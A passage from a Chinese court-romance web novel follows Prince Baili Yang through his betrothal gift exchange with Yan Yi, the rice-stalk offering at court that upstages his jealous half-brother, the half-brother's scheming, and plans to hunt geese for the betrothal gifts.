他称呼颜漪为“七娘子”,是知道了颜漪在颜氏这一辈中行七,叫“七娘子”是稍微亲近一些的称呼。再亲近的,就是“七娘”了。只是话说完自己还有点囧,这话若是放在前世绝对是阴阳怪气骂人的话,好在这里的人并不知道这种梗,这是纯粹夸人的好话,他也是真心实意的。 殊不知他面上出现的那一点点怪异让对面之人捕捉到了,可饶是聪慧多闻如颜漪也不会猜到百里漾的变化是因为什么。目下猜不出来的事情颜漪不会过多的纠结,她看着对面的百里漾,垂眸,反正今后她有很多的时间和机会去了解这个人不是么。 “大王过誉了。”颜漪回道。 她的嗓音很清柔,传到耳朵里让百里漾觉得是一种听觉享受。这是他们第一次如此近距离的接触,比在游园会时更近,也更安宁,周围没有多余人的打扰。 百里漾趁着这个机会才将人清清楚楚地看了个真切。这时候,颜漪给他的感觉又不同了。她好似很宁静淡然,只是在那里就给人一种岁月静好的感觉。一时之间,他也只找到了“美好”这个词汇来形容眼前的这个女子。 那一瞬间,百里漾觉得,与这样美好的女子成亲也未必不好。这么一想,他觉得自己该主动些,只是他刚要开口便听到对面之人说道:“那日在街上,多谢大王出手搭救。” “啊?”百里漾没有想到她会突然说这个,同时又想起了那日长姐说他“呆头鹅”的事情,之后他仔细回想过了,以当时的距离,他是可以看清那架马车上定国公府的标志,可他那时就跟瞎了一样愣是没看到,所以面对颜漪的道谢,他自己先羞愧了。 “不、不必谢我。”百里漾不敢担她的谢意,他定了定神,面上便正色了些,“当时七娘子已脱险,非我之功,不敢称谢。” 他很诚实。 马车没有被长夏王撞上是因为车夫的技术好避免了撞上的结果。况且他那时也不是因为认出了颜漪在马车上才去阻拦长夏王的。而且应该惭愧的是,他还对人家“视而不见”。这怎么都说不过去。 第30章 礼物 她道谢, 百里漾拒绝,甚至还露出了愧色。 怎么说呢,颜漪再次发现了百里漾的“不一般”。面前的这位江都王似乎是一个相当正直的人呢。这个发现让颜漪心情变得愉悦。她道:“若非大王那日及时出手, 遭殃的又何止我一人。大王仁善。” 她所说并非虚言,当日若是百里漾没有及时出现并阻止了长夏王,首当其冲遭殃的就是那名太学生闻夏。以当时情况之凶险,他不死也残,更不必谈日后的前途如何了。还有那一街无辜的人, 长夏王之后还会继续作恶, 或许遭殃的就不只是那一街的平民百姓了。 至于她, 或许在把定国公府亮出来后,长夏王会有所收敛, 但这并不绝对。事实也如此,之后哪怕是面对百里漾, 长夏王认出了这位椒房所出的异母兄弟,他不也是依旧疯疯癫癫、口出狂言了么。那样一个醉酒撒疯、行事狂悖的人, 发起疯来会做出什么事情谁都把握不了。 当时百里漾的出现, 未尝不能说是“天降神兵”。 被夸了, 百里漾微微有些脸红。尤其是他看见颜漪实在过于漂亮的眼眸中一派的真诚纯然,就好像他是真的很好一般。不知怎么的,他感觉好像是回到了前世的时候,那时候被人夸奖了也会有一种“自己哪有人家说的这么好却又忍不住高兴”的心理。 明明不应该是这样的啊。 这一世,他成了百里漾,成为了江都王,“大王英明、大王仁德”之类的彩虹屁听了可不老少了,按理来说应该有一定的免疫力了,怎么现在却还会如此? 百里漾想不明白, 但他得对那日的事情道歉。不管怎么说,那时他们之间已经有了未婚夫妻的名分,他当时的作为就属实是很没有“眼色”。他颇为赧然地表达了自己的歉意。 颜漪并没有在意在大街上被百里漾“视为不见”的事情,毕竟当时情况特殊,她比较意外的是百里漾竟然会因为这件“微不足道”的事情亲自当面向她致歉。 这位江都王是真的很不一般啊,这个认知让颜漪感到惊奇。 在他身上几乎看不到那些天潢贵胄们天生自带的傲慢无礼,反而出人意料的品行纯良。她开始好奇了,对百里漾好奇,好奇他是怎么长成这般的内里的。颜漪这时候有些相信长公主百里澄说的话了。若她必嫁入天家,百里漾会是最好的选择,各种方面上的最好的选择。 颜漪的内心想法如何,坐在她对面的百里漾是不得而知的。他只觉得经过了这么一番对话,两人之间没有那么生分了,他也能更自然地面对眼前的未婚妻了。 这不失为一个好的现象和发展。 百里漾摸了摸茶杯,发现里面已经空了,想把茶杯放回去,颜漪已经瞧见了他的动作,主动给他续上,笑道:“大王请饮茶。” 百里漾喝了一口,喉咙里因为干渴而带来的些微痒意一下就被平复了。他手里还继续摸着茶杯,看着对面巧笑嫣然的女子,少有的觉得自己是一个言语如此贫乏的人。其实他是想问问对面的女子对于这门婚事的看法,是否愿意但又觉得问了也是徒劳。 莫非他们还能改变这门婚事么?不可能的,圣旨已下,无可更改了。 这么想着,颜漪忽看着他问道:“听说江都山灵水秀,景色宜人,令人神往。可惜我却一直未能亲眼得见,大王可否为我说上一说?” 百里漾微愣,很快就意识到颜漪说这话释放出了什么样的信号,他摇头之后又点头,“好,我与你说说。”好在他在江都时并不是只宅在王廷里,他喜欢到处溜达,这时候也不至于无话可说。 这么一聊,时间不知不觉就过去了。 等定国公府的人来请百里漾时移步去膳厅时,他才恍然惊觉已经将近酉时了。这个点往往是吃完饭的时辰了。这一顿晚饭是宾主尽欢,再之后百里漾也告辞离开了。 送走了江都王这位未来的天家贵婿,曹氏留女儿在房中说了一会儿话。重点是问女儿对江都王的观感如何。如果有可能,曹氏自然是希望女儿嫁的是她喜欢的人,现在培养感情也好来得及。 “江都王看着是一个不错的人。”颜漪回想了一下今日与百里漾的接触,回道。 知女莫若母,曹氏知道女儿如此回答已算是对江都王有些好感了。她大为欣慰,轻拍着女儿的手背,“如此看来,你爹也不算选错人。” 所有人都心知肚明,颜漪与百里漾的这桩婚事并不单纯,它涉及到的太多了,皇后、东宫、颜氏……太多太多的人乃至性命身家都可能系在这桩婚事上面了。也正是因为干系如此重大,定国公府中能决定这桩婚事的也就只有定国公一人。 作为辅佐皇帝的国之重臣,他选择的不只是女婿,也等同于是选择了定国公府的立场——东宫。所以这也是定安王在知道皇帝为百里漾择定了定国公的嫡长女为妃时那无以复加的怨愤与嫉妒。他恨皇帝的偏心,用一桩婚事将定国公府绑定在了东宫和百里漾的船上。 “阿爹的选择从一开始就是明确的。”颜漪目中是一片冷然,她早就知道她可以选择的余地并不多。 从曹氏那里回到自己的院子之后,颜漪身边的婢女捧着一个方形的檀木盒过来告诉她这是江都王送给她的礼物。 将将半臂长的盒子,直接就排除了胭脂水粉、首饰头面等物什。颜漪忽然有些好奇,江都王会送什么样的东西给她? “给我吧。”颜漪从婢女手中接过了盒子,一入手便能感觉它的分量,不只是盒子本身,礼物本身就具有一定的分量。 所以,这里面会是什么呢? 想到百里漾本人的“特别”,她更加好奇了,亲手打开了盒子,也看到了里面礼物的庐山真面目。 “姑娘,这……”婢女亦是好奇未来姑爷送来的是什么,她也猜了一些可能,但怎么也不会想到是这么个东西啊,所以她忍不住惊呼出声,“江都王,他、他怎么给您送了这样的东西过来?” 盒子里面,静静安卧在软衬之上的,赫然是一柄匕首。 婢女想不明白,哪有第一次见面给姑娘家送这种东西的啊?! 匕首是利器,为兵器的一种。因为是江都王送过来的,联系他的身份,婢女瞬间就脑补了一些不好的猜测——该不是,不会是江都王实际对这桩婚事很不满,以此来警告她们姑娘什么的吧? 正当婢女心惊胆颤地猜测百里漾送匕首的用意时,却看到自家姑娘对着那柄匕首露出了笑容,很美,漂亮极了。婢女一下子就懵了,更加迷糊了,她在颜漪身边伺候了多年,自然分得出来此刻颜漪的笑容是真心还是浮于表面。 姑娘她是真的高兴啊,对这柄匕首很满意啊。 颜漪将匕首拿出来握在手里端详。 匕首很漂亮,手柄以及鞘上都做了精美的纹饰雕刻,却没有过多的珠玉宝石装饰,整体只有不到半臂长。拔出,眼前顿时划过一片清亮之色。 “拿一张手帕来。”颜漪目不转睛说道。 “啊?”婢女只愣了一下就依言去做了,拿来了一张素白色的巾帕,然后就看到自家姑娘将手帕缓缓地落在匕首的刃上,然后,巾帕一分为二。 婢女有些瞠目,忍不住赞叹,“这匕首竟如此锋利!”她之前还以为这匕首装饰的作用更大些,没想到竟然还是削铁如泥级别的宝物。 “替我回复江都王,就说他送的礼物我很喜欢。”颜漪从光可照人的刃面看到了自己上扬的唇角,吩咐说道。 “是,姑娘。”婢女领命去办了。 那边百里漾回到了江都王宅,他心情颇好,迎面遇到了一名从江都来的属臣,就是帮他准备礼物拜访定国公府的那位。 属臣见百里漾乐呵呵地回来,心情看起来也不错,猜想此行的拜访必是顺利。他先是向百里漾道喜,然后突然想到了一茬,心里开始打鼓,是为百里漾打的。因为百里漾亲自挑选出来的要送给未来王妃的礼物他见过,还是他亲自经手备好的。 属臣想不明白自家大王怎么会选那么特别的东西送给一个女子,他跟颜漪身边的婢女一样想不通百里漾的脑回路,但他不会如婢女般猜测百里漾故意以此来暗示警告什么。他只是担心百里漾送匕首会吓到未来王妃,因此给对方留下不好的印象。未来王妃又不是男子,送些珠宝首饰之类的不是更适宜么? 百里漾可不知道属臣内心可为他操心了。他选择送那柄匕首给颜漪是一个偶然的想法。当想到要送一份见面礼给颜漪时,他脑海中第一时间冒出来的就是那柄匕首。同时浮现在他脑海中的是在然溪山别业马场里快意驰骋的颜漪,真可谓是英姿飒爽,既洒脱也豪迈。 他那时就觉得那柄匕首与颜漪一定很相配。 “大王,您将那柄匕首作为礼物送出去了?”属臣有些谨慎小心地问道。 “送出去了。”百里漾理所当然回道。他不太明白属臣问这话的意思,东西准备了自然就是要送出去的啊。 “那、那……定国公府那边可有说什么?” 百里漾更莫名了,眼神狐疑地瞧着他。 “臣的意思是颜家大姑娘可喜欢您的礼物?”属臣身体绷了一下,赶紧说道。 30-40 第31章 大朝议与觐见 百里漾这会儿明白过来, 原来属臣是担心他送出去的礼物不讨喜。他摇了摇头,礼物不是他亲手送给颜漪的,自然也不会知道对方打开盒子后看到里面的东西是什么反应。 是哦, 他送的礼物未必讨人喜欢,属臣的忧虑并非没有道理。 “启禀大王,定国公府那边派人来,是说有话带给您。”正当百里漾被属臣带着染上了些忐忑愁绪时,有仆从过来禀道。 “嗯, 说了什么?”百里漾精神一振, 连忙问道, 又快快改口,“不, 人在哪里?带来见我。” 人很快被带过来,百里漾对她有些印象, 是颜漪身边的婢女。 婢女见到百里漾行了一礼,说她家姑娘令她过来传话, “大王送的礼物, 姑娘说她甚是喜欢, 感谢大王赠礼,她亦有回礼给大王。” “喜欢便好。”百里漾听婢女说颜漪对那柄匕首喜欢时就高兴了,又听还有回礼给他,顿时就期待起来了。 在百里漾期待的眼神中,婢女双手奉上了一个蓝色宝葫芦形状的香囊,表面绣着好看的祥云纹和一些花蔓缠枝。百里漾拿在手上摸了摸,看得出上面的针脚很是细密,也说明了制作这个香囊的人很用心。 百里漾知道,这香囊一定是出自颜漪之手, 作为回礼送给他的。 想到这里,百里漾心中就升起了一股既感动又欢喜的情绪。这是颜漪亲手做来给他的香囊,他有了这个认知,就感觉特别的欢喜。虽然这不是他第一次收到别人亲手制作给他的东西,可这一次的感觉就是不一样的。 在百里漾摸着香囊端详的时候,婢女就在一旁偷偷地观察他的神情表现好回去向自己姑娘禀报。百里漾没有注意到,属臣注意到了,也没有说,反正可以理解。 “替我回复你家姑娘,就说我亦很喜欢。”百里漾小心收了香囊,转头对婢女说道。 使命完成的婢女便带着百里漾的回复离开了,百里漾想了想派人送她回去。等人走了,他又把香囊拿出来看了又看,还在腰间比划了一下,余光看到属臣还没走,于是问他,“你还有事?” 属臣摇头,尽力控制住自己脸上的肌肉不摆出一言难尽的表情来。可能是因为迈入了不惑之年,年轻人的世界他有些理解不来了。于是拱手向百里漾告退,回去做事了。 拜访定国公府之后,没几日便到了岁贡之日。 五月十五,大朝议。诸侯王进殿,朝拜皇帝。 这是自兴业八年之后,时隔五年,湛京中的群臣们再次见到了这些已经成年被封出去的诸侯王们。除开与皇帝同辈的淄川王,引得群臣更多关注的是有皇子身份的另外四位,其中更令人注目的是最为年长的定安王以及身份最为尊贵的江都王。 定安王勇武过人,生得魁梧英姿,唇周蓄了短短的黑须。朝拜时身姿挺拔,声若洪钟,显得尤为沉稳,有大丈夫气概。再观江都王实是令人眼前一亮。椒房好颜色当年是天下皆知,百里氏代代出美男子,当今年轻时亦是英武好男儿,两者所出之子容貌之盛在东宫与栎阳长公主身上已经得到了体现,没想到最年幼的江都王亦丝毫不逊色。 当然大臣们也不是光看脸的,他们看着百里漾的言行举止,姿态仪容,又想到这几年江都国日愈物阜民丰,一派安宁,其中必有江都王一份功劳,不由捋须暗暗点头。 别人如何想百里漾不知道,说起来这还是他头一回参加朝廷的大朝议,心中不免紧张。好在此前相关注意事项已由长兄与长姐提点过一遍了,做起来也不至于慌乱出错。 按制,朝觐之时,藩王要向皇帝献黄金、玉璧等物。临淄王为长辈,首献。他之后以年长为先,故定安王先献。除了常规上献之外,定安王还捧出了一个盒子,打开露出里面一柄造型殊异的匕首,双手捧举过头顶,朗声道:“臣献离渊狼牙匕一把,贺陛下长乐千秋。” 话一出,满殿臣子都有些震动,好些个伸长了脖子去看,“竟是狼牙匕,这可是离渊大贵族才有之物。” 定安王这突如其来的一手亦惊到了百里漾。他的席位正好可以看清发生的一切,也看到了那柄狼牙匕的真容。 所谓狼牙匕,因形似狼牙且锋利无比而得名。但此种形制的匕首向来只有在大衍的北方离渊国才有。定安王所献狼牙匕通体镶嵌金银宝石,极尽奢华,非离渊国的上层大贵族不能拥有,而且害的是离渊汗王的心腹才有资格佩戴的。以大衍与离渊如今的关系,定安王能得此物,只能是缴获所得。可是近来也未曾听说有离渊来犯的消息。 定安王得意道:“四月中,臣巡视边防时,出城三十里,遇一离渊百人队伍劫掠我朝子民,臣领兵与之作战,尽数歼灭,得其首领所佩狼牙匕,今日献与陛下。” 皇帝手中已拿到了那柄狼牙匕,拔开眼前闪过一片清亮的光,又见刃面上刻着一只狼头图腾,大为欢喜,“好好,此物朕甚是喜欢。定安王英武有功,着赐珍珠一斛。” 定安王得了皇帝在满殿朝臣面前亲口的夸赞与赏赐,欢喜退下了。但他此举让之后要朝觐上献的兄弟们感觉到了窘迫和压力,他们可没有准备有额外的献礼要献给皇父。没有办法,之后的长夏王只能按着规矩和流程行完了朝觐之礼。 轮到百里漾时,满殿的目光似乎都汇聚到他一个人的身上。他看到定安王朝他投来得意中带着挑衅的目光以及太子长兄略显担忧的眼神。百里漾给了后者一个安心的眼神,在大鸿胪唱名之时,执笏稳步上前至丹陛之下的位置,瞬间那种万众瞩目的感觉就更加强烈了。 百里漾稳了稳心神,行礼参拜,有条不紊地进行献礼。常规的黄金、玉璧献上之后,他手中捧着一个三尺余长的漆木盒。在周围人或好奇看戏或忐忑的目光之中,百里漾打开了盒子,露出里面的一支颗粒饱满、结满穗种的稻禾,“此乃江都去年收获的秋稻,臣亲手收割,献与陛下,贺陛下千秋万岁,山河永固。” “一支稻禾罢了,也敢于我的狼牙匕相比,百里漾竟也当众献与阿爹,也不觉得寒碜。”定安王心中讥笑不已,等着看百里漾的笑话,但后续的发展却不如他的意。 皇帝一见这株稻禾结得硕累就欢喜,又听是儿子亲手收割来献与他,更加高兴,捋须大笑,一连说了三个“好”,“五郎有心,朕很喜欢。”说着手抚着稻禾上饱满的稻粒,看向群臣,“愿我大衍如此稻禾,千秋万代,传之无穷。” “陛下万年,大衍万年。”群臣见状起身恭贺。 定安王也在人群之列,他掐着手掌心的软肉让自己稳住得体含笑的神情,却在下一刻看到皇帝转手将手中的稻禾送给旁边的太子,眼中的嫉恨终究没有藏住泄漏出来几分。他立即低下头再次狠掐掌心,再抬头已能一派真诚地随着大臣们恭贺太子。 “你是没有看见定安王的嘴脸,之前那得意洋洋的模样在看到陛下夸赞你后又将稻禾赐给太子顿时那扭曲嫉妒的,真是太快人心啊。”江都王宅的花厅里,崔栋拍着大腿直乐道。 朝觐之时,崔栋也在殿上。只是他作为诸侯国的臣子,在满殿公卿里排不上号,位子也靠后。这种场合,众人注目的对象不是他,他就有闲功夫去关注一些人,其中就包括定安王,自然也就将定安王的神情变化收入眼中里。 定安王献狼牙匕,分明是要在皇帝和众臣面前显耀夸功,将其余的兄弟们比下去。而作为主要被拉踩对象椒房一派的坚定支持者,崔栋能高兴才奇怪了。如今定安王偷鸡不成还蚀把米,崔栋回过头就毫不客气地嘲笑了。 “好在之前多做了一手准备。”百里漾亦是松了一口气。 献稻禾是百里漾之前就有的一个想法。与高/皇帝一样,皇帝亦看重农事,每年受到皇帝褒奖的一批官员里,绝大部分都有农事方面的优异政绩,足以证明皇帝的重视。他也没有说谎,他所献的稻禾确实是自己亲手去收割的。当时他看到水稻丰收、硕累的稻粒将禾秆都快压弯了腰就觉欢喜,想着献与阿爹必会使其高兴,便让人收好做了处理准备献给皇帝。 那时百里漾可没有想到皇帝会允诺在外的诸侯王进京朝觐,也不会想着要在朝觐之时献给皇帝。只是定安王突然搞了这么一出,他也只好提前拿出来应对了。 效果确实佳,最让人安心的还是皇帝的做法。皇帝受到稻禾的欢喜、当众说的话以及将稻禾转赠给太子的举动所显示出来的态度——圣意依旧在太子,这才是令定安王最为嫉妒痛恨与不甘的。说实话,百里漾献稻禾并不算高明,真正给定安王插了一刀的是皇帝。作为被偏爱的一方,百里漾的感觉自然是很好的。 有人感觉好就有人感觉不好。 回到定安王宅之后,定安王百里洪强装了一整日的沉稳得体的假面被他撕下来,心中不甘的野兽被从牢笼里放出来咆哮,迫切想要撕碎什么,“本王不服,不服!凭什么阿爹只看得见百里渝和百里漾?一个病歪歪不知道哪日就死的病秧子,一个连毛都没长齐的黄口小儿。论勇武论能力,我如何就比他们差了?” 第32章 婚期 “明明是我奋勇拼杀斩获得来的狼牙匕, 在阿爹眼中竟然比不过一株不知道从哪里揪来的杂草。那是个什么糟践玩意,阿爹竟然还如此抬举百里漾,还说什么‘千秋万代, 传之无穷’,转头就给了百里渝,还是当着满殿公卿的面。” 定安王此刻就如同一支被点燃的炮仗,威力巨大,满室都是他暴怒的声音。王国相安静无比地立在一旁, 等待自家大王发泄完。好一阵, 无人“搭理”的定安王慢慢平复下来, 瞥了一眼静默如钟的王国相,猛灌了一壶茶, 嗓子眼里的干渴才好些。 “是本王失态了。”定安王发泄过后,为自己的行为描补道。 王国相从定安王就封时就一直侍奉他, 对此已是见怪不怪。定安王脾气颇为暴烈,作为他的臣属, 王国相早就心中有数。怒气容易冲昏头脑, 易怒之人常无理智。好在他侍奉的主子虽然性情暴烈, 但暴怒时不会让怒气淹没理智,并非是全然的缺点。 “今日之事,国相可有良策?”定安王不问王国相如何看待今日之事,因为皇帝的意思已经很明显了。太子的地位依旧稳固,哪怕他是一个病秧子,哪怕他没有儿子,只要他还活着一日,他就永远是太子,皇帝永远都不会改立其他人为太子。 这一点, 定安王在过去这些年已经领悟得很透彻了,虽然不甘,怨恨皇帝偏心,但他可以等,他就不信他活不过一个病秧子。他可以有耐心等太子病逝,但他绝对不希望他等来等去等到的结果是太子死了,最后百里漾成为新的太子。 对于今日大朝会之上发生的事情,与其说定安王愤懑的是皇帝偏心太子,不如说是他怨恨甚至恐慌的是皇帝在大臣们面前透露出来的态度——即便是太子没了,还有江都王百里漾,诸子之中皇帝最看重的依旧是椒房一脉。那他还有什么希望? “陛下看重椒房并非一日两日了。”王国相面色凝重,如今湛京的情形对他们依旧不利,皇帝态度不改,定安王争位的机会依旧渺茫。 可他们并非没有希望,此次皇帝允诸侯王回京就是一个信号,皇帝虽然看重东宫但并非完全不顾念其他的儿子。况且皇帝这几年身体似乎也不太好了,又眼看着太子的身体一日日的如此病弱,难免不会有其他的想法。 大衍的江山总要延续下去的,显然以太子的身体情况他并不是那个能够承继的人,皇帝总要在其他皇子之中做考虑甚至抉择的。定安王如今是太子之下最为年长的皇子,他的希望总要大过其他许多皇子的。而诸皇子之中最大的竞争对手无疑是江都王百里漾。 “臣观陛下的态度,岁贡之后怕是不会很快令诸王回封地,大王还可在湛京之中留一段时日。在这段时日之中,大王宜应把握机会,多去陛下跟前侍奉,增进父子感情。陛下不是狠心之人,大王心中时刻惦念着皇父,久而久之,陛下心中自然也会念着大王的。” 王国相给出的策略很简单,就是让定安王趁着在湛京的机会卯足劲去皇帝面前刷存在感以及好感。他与皇帝同辈,年纪甚至比皇帝还要大一些。而人到了这个年纪,有些想法是共通的,哪怕是皇帝也不能免俗。人老了很多时候就会惦念亲情,就想要享受儿孙绕膝的天伦之乐。而在这一点上,定安王显然要比椒房一脉有优势。如果再能在皇帝面前诉诉苦,惹得皇帝心软,从而得到一些好处就更好不过了。 当然,王国相也并非让定安王只做这一件事情。这好不容易回到湛京了,也要趁机联络一些臣子,看看能不能争取他们的支持。这朝中有人了,以后想做什么也会方便许多。至于旁的,暂时且看且应对着。 还是那句话,徐徐图之。 定安王双眸微沉,沉思过后,点头道:“便依国相之言。” 五月十五的朝觐之后,在京的诸侯王基本没有什么正事要干了。正事没有,私底下的事情却不少。有的与母妃数年不见,在前往封地之前想在母妃膝下多尽点孝心,故而基本上是一有机会就往宫里跑,尤其是定安王;有的感怀于阔别数年的湛京变化繁多,连日里不分白天黑夜的在京城东逛西走,将湛京里所有有名号的勾栏瓦舍都光顾了一边,这个是长夏王。再不然就是走亲访友,许多老朋友也许久没有见面了,走动走动,顺便联络联络感情。 这日,百里漾去椒房殿拜见皇后。 椒房殿中不只有皇后在,还有长姐百里澄带着软糯糯的小侄女阿荧也在。皇后一看见小儿子就高兴,怀里抱着小孙女,在百里漾行完礼后对他招手,眼眸中荡漾开了一圈笑意,“正说到你,你就来了。” 百里漾观皇后脸色红润,容光焕然,气色颇佳,想来心情大好。他坐下后,笑问道:“阿娘与阿姐在说我什么?” “五叔。”阿荧一见百里漾就欢喜。也许是因为血脉使然,她对这个才认识了没多久的五叔格外的喜欢,扭着小身子对皇后说要到五叔那边。皇后自然乐于见他们叔侄亲近,放了手让她过去了。 “在说你的婚事。”话是百里澄回的,然后就饶有兴味地看着自己幼弟脸上出现了一点疑似红晕的东西。 “阿娘与阿姐说了、什么?”再次提起婚事,百里漾已经没有之前那般羞窘了,他觉得自己要不了多久就能很坦然地与人谈论这个话题了。兴许是上一次与颜漪的见面太过融洽美好,他对这门婚事并没有抵触的地方,甚至有时候还会想,如果是她的话,未来的生活应该不会变得糟糕。 “灵台丞昨日已向陛下上奏近来半年内的良辰吉日,陛下也给了我一份,看看选一个合适的日子出来。我看来看去实在拿不定主意,正巧你阿姐过来,我便让她跟着一块参详参详。”皇后笑得满脸慈爱,百里漾这才她手边此刻正搁着一本红色的册子。 这“合适的日子”很明显指的就是百里漾的婚期。 百里漾感觉耳根升腾的热意很快就要冲上头脑了,他勉力保持了镇定,问道:“那阿娘可有看中的日子?” 没等皇后回答,百里澄上前拿了那吉日册子,夹在纤长如玉莹润的指间,眼眸中含着笑,问百里漾,“我与阿娘实在是拿不定主意。正好五郎你来,瞧瞧哪个日子更好些,好将新妇娶回家去。” 这话说的,百里漾顶不住直接红了脸,慌忙又结巴道:“此事、此事还是由阿爹与阿娘定夺好了,儿、儿听命就是。”在这个时代,婚姻大事大多遵从父母之命媒妁之言,婚期的定下也包括在其中,他等着通知便是。长姐来这么一句,不过是起了恶趣味想逗他一下。 皇后也发现长女在逗幼子玩,无奈这么些年长女喜欢逗弄下面弟弟妹妹的恶趣味还没有扔掉。可她虽是摇头却也忍不住失笑,及时出言拯救了百里漾,顺便也给他一点心理准备,“我与你阿爹觉得七月十二与八月初六两个吉日都不错,只是还定不下来。” 七月十二与八月初六,这两个日子之中择一么? 百里漾目光不由一闪,他大概知道为什么定不下来了,这两个吉日相差了将近一个月的时间。若无意外,他是要在湛京成婚之后再携新妇一道返回江都的。他那些兄弟们本身对他要留在湛京成亲后再回江都就很不情愿,一旦他成婚完就意味着他会更晚会封底,这无疑是他们不愿意看到的。 其实这两个吉日都好,并不存在哪一个更好问题致使难选。真正难以抉择的原因是在这里,也是皇帝的顾虑。皇后自然是希望小儿子能够在湛京留的时间长一些,但这件事情真正做下决定的还是皇帝。将吉日册子送到皇后这里来是皇帝对于皇后的敬重,皇后心中也是有数的。 “这件事情就由你阿爹操心去了。”皇后并不想在这个问题上多谈,在两个儿女面前这么说也是告诉他们自己将选择权交给了皇帝,她看向百里漾,叮嘱道:“不管婚期定在七月还是八月,总归是不远了,该准备的就要准备起来了。” 历来皇室子弟或是宗室人员成婚都是有规例的,向来是由??等负责统筹的,大多数时候并不需要成亲的当事人去做什么,但也不是完全就置身事外的。皇后在这里特意嘱咐百里漾“要准备起来”,那有些事情就是必须要他亲自去做。 百里漾有些赧然,其实他并不知道要做什么,天家的婚仪向来繁复,而他以往也只以看客的身份参加过太子长兄与定安王的婚礼,对与新郎官在婚前需要做什么,他还真不知道。但他不想在这里询问皇后与百里澄,心中暗暗决定在之后去问问负责婚事筹备的官员。 他没打算问,殊不知百里澄在旁定定看了他几息,忽开口道:“近来京中天气愈发燥热,向来在然溪山附近是见不着大雁了,你可能需要往东边去远一些。” 大雁? 百里漾神情微愣,随机反应过来,如今婚嫁之事多遵从六礼,其中下聘一项中就要有聘雁。但大雁难得,尤其是活雁,寻常人家想要得到一对活雁更难,就有了折中的法子——用木雁。皇家下聘自然不可能用木雁,活雁是必然会有的,但若是那一对活雁是新郎官自己亲手所猎,无疑会更好。 第33章 猎雁 “多谢阿姐提点, 过一两日我便往东边去猎雁。”百里漾心中有了定计,朝百里澄谢道。 “你有心便好,但切记诸事小心, 多带些人手随从护卫。”皇后觉得小儿子日渐开窍,心中宽慰,又嘱咐百里漾要注意安全。 百里漾刚应下,挨在他身边的阿荧忽然嫩声问道:“五叔是要出城去狩猎么?” “是的呢。”不待百里漾回答,皇后笑吟吟地开口, 顺便招手让阿荧过来, 揽到怀里亲亲小孙女光滑白嫩的小脸蛋, 为她解答,“你五叔要猎一双活雁回来去往你未来的五婶家下聘, 这样以后我们阿荧就会有五婶了。也许用不了多久,阿荧就会有弟弟或妹妹一道玩耍了。” 这话一下子就跨越到要生孩子了, 百里漾低着头没接这话。 阿荧年纪尚小不懂这些,她只听懂了一件事情, 仰头看着皇后, 满眼充盈着渴望, “阿荧也想去骑马狩猎。” 闻言,皇后轻抚小孙女身子的手微顿,她看着阿荧稚嫩小脸上的向往与希冀,想起这孩子长到现在还没有正儿八经地出过一趟皇宫,而阿荧分明是想去的,只是年纪还是小了些。 百里澄看出皇后的为难与顾虑,不甚在意说道:“此事还不简单,届时我带着阿荧与五郎一道同去就是,阿兄与阿嫂那边我去说。” 长女大多数时候都很有自己的注意, 亦十分可靠,由她带着阿荧,皇后并没有什么不放心的,便笑着允了。倒是百里漾,他没想到一眨眼的功夫,阿姐与小侄女就要与他一同出城去猎雁了。不过看着阿荧欢喜的模样,他也跟着笑起来。 入夜之后,东宫,太子居住的主殿还亮着。夜里的风甚是凉爽,书房四周开了几扇小窗。 太子披着一件缎面外袍正在翻看一些臣子的奏事。不知过了多久,外边传来问安太子妃的声音。太子抬头望去,正好瞧见太子梁氏手端着一碗热汤药进来。 见状太子不由微微皱眉,“此事由下边人去做便好,仔细烫了手。” 太子妃则不以为意,面上容色依旧浅淡,但也隐含着几分关切,“顺手之事,太子此时合该服药,误了时辰影响了药效。” 太子忽然有些不敢看太子妃错开她的目光,转头瞪了一眼旁边得候的近侍,必然是他向太子妃泄的密,让太子妃知道自己时常过了时辰才喝汤药。 近待缩了缩身子,企图当作自己不存在。无法,有太子妃在眼前亲自督促,太子也不好说什么,搁了手里的奏事贴,看药温差不多时喝了药,一入嘴,整个口腔里瞬间就弥漫开一股熟悉又难言的苦涩滋味,连舌根都苦得有些发麻。 近侍眼疾手快熟练地递上一颗红糖给太子压压苦味。好一会儿,太子苦到发麻的舌根觉得好些了。他不想与太子妃面时面时陷入长久的沉默之中,而他们之间绝对不会出错的话题就是他们的女儿,所以他开口问道:“阿荧睡下了?” “刚睡下,知道后日可以同长公主和五王往城外东郊狩猎,回来之后就没有闲过,一会儿令人将她的骑装拿来试穿,一会儿要试试她的弓。若不是我按着,她还要在夜跑到马厩去看看她的小马驹。折腾好一阵,沐浴之后沾上床榻便睡着了。”只有说起女儿时太子妃面上的那一层淡漠才会消融些许,透着母亲的柔软与慈爱。 太子不经意间看着入了迷,忽然见太子妃微转眸错开他的视线,他有些尴尬,心中却是止不住的失落。他随即轻咳了两声,笑容里满是对女儿的宠溺,“也好,她自小就在宫里跑,哪个地方她没去过。皇宫虽大,也大不过外面的世界,该让她出去看看的。有阿澄和五郎看着,也没有什么可担忧的。” 他说着话,却没有发现太子妃眼眸中一闪而逝的怨憎。女儿的话题说完,太子觉得嘴里发干,忽然又不知要说什么些好了。 “太子服了药,妾也放心了,这便告退了。” 太子妃离开得一点都不迟疑,太子挽留不住她,只得点头,“好,你去罢。我这还有几分奏事没看完。” 眼看看太子望着太子妃离开的方向愣愣地出神,近侍忍不住道:“殿下为何不留下太子妃?”明明是很想把人留下的,可是太子就是不愿意开口挽留。 “留得住人也留不住心,何必再为难她。”太子望着空荡荡的书房来处,心中也随着空荡。但他的黯然很快被敛去,又恢复成了那位威严冷淡的大衍太子,“以后类似的话我不想再听见。” 近侍心中一凛,连忙跪下,保证自己再不敢逾矩。 “好了,起来磨墨吧。”太子将目光重新放到手上的奏事上,不再说其他。书房又恢复了此前的沉静,好似谁也没有来过一般。 前日在椒房殿中百里漾与百里澄定下了猎雁之事,花一日时间准备,选在今日出发。与百里漾姐弟俩同去的还有崔栋。他知道百里漾要去猎雁下聘,便嚷嚷着自己也要去。 百里漾奇道:“舅舅不是已经为你前往卢家下聘了么,你还要活雁做甚?” 崔栋则满脸的理直气壮,“哪又如何,还不许我弄些小玩意送去?再者,我的职责便是护卫你,不让我跟着去算怎么回事?” 他说的确实有理,百里漾也没有非不让他去。造成的结果就是,出发当日汇合之时,不仅崔栋自己来了,还带来了妹妹崔若以及身后的三十名将军府的随从。 而对百里漾私下指责他不仅事先告知的话,崔栋也很有理,他表示,“妹妹在家中留不了几年就要嫁人。他这个做哥哥的本来与妹妹相处的时间就不多,这段时日不抓紧时间多与妹妹相处一阵,往后机会是越来越少了。” 